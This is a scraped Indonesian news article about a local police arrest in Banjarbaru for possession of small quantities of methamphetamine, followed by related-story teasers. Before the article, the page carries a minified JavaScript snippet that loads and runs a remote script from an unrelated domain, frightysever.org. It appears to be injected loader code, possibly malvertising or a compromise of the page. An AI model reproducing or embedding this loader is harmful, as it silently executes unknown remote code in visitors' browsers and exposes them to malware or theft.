(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Unit Reskrim Polsek Banjarbaru Timur mengungkap kasus peredaran narkotika sabu di Kelurahan Bangkal, Kecamatan Cempaka, Banjarbaru, Senin (5/10/2020) malam.
Berawal dari informasi warga, kabar aktivitas jual beli barang terlarang yang ada di wilayah Kecamatan Cempaka. Kemudian pihak kepolisian melakukan penyelidikan dipimpin langsung oleh Kapolsek Iptu Khamdari.
Hasilnya, seorang tersangka berinisial A (25) warga jalan Purnawirawan RT 04 RW 02, Kelurahan Palam, Kecamatan Cempaka, Kota Banjarbaru, berhasil diamankan pada Senin (5/10/2020) sekitar pukul 19:00 Wita.
Tersangka diringkus saat berada di rumah temannya di jalan H Mistar Cokrokusumo, Kelurahan Bangkal, Kecamatan Cempaka, Kota Banjarbaru.
Dari tangan tersangka, petugas berhasil mengamankan 1 paket narkotika jenis sabu dengan berat 0,24 gram yang disembunyikan di dalam gudang belakang warung makan.
Selain mengamankan satu paket sabu, polisi juga mengamankan sebuah sobekan plastik warna biru yang berisi sabu dengan berat 0,05 gram, 5 sedotan plastik bening, 1 kertas alumunium foil bekas rokok, serta uang tunai sebesar Rp 40.000, beserta sepeda motor Honda Supra.
“Dari pengakuan tersangka narkotika jenis sabu ini didapatkan dari seseorang yang berada di Banjarbaru,” kata Kapolsek Banjarbaru Timur Iptu Khamdari kepada Kanalkalimantan.com, Rabu (7/10/2020) siang.
Tersangka saat diringkus sempat melakukan perlawanan kepada petugas kepolisian.
“Sempat melakukan perlawanan kepada anggota, kesigapan anggota upaya perlawanan tak berhasil,” ungkapnya
Untuk barang haram yang didapatkan tersangka masih terus ditelusuri, dan polisi sudah mengantongi nama yang disebut tersangka.
“Kasus ini masih akan dikembangkan, kami masih melakukan penyelidikan.Tekad bersama anggota terus memberantas semua narkotika di wilayah Kecamatan Cempaka ini,” tegasnya.
Tersangka saat ini diamankan di Mapolsek Banjarbaru Timur untuk proses hukum lebih lanjut. (kanalkalimantan.com/wahyu)
Reporter: Wahyu
Editor : Bie
KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin membacakan putusan kasus korupsi kredit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More
This website uses cookies.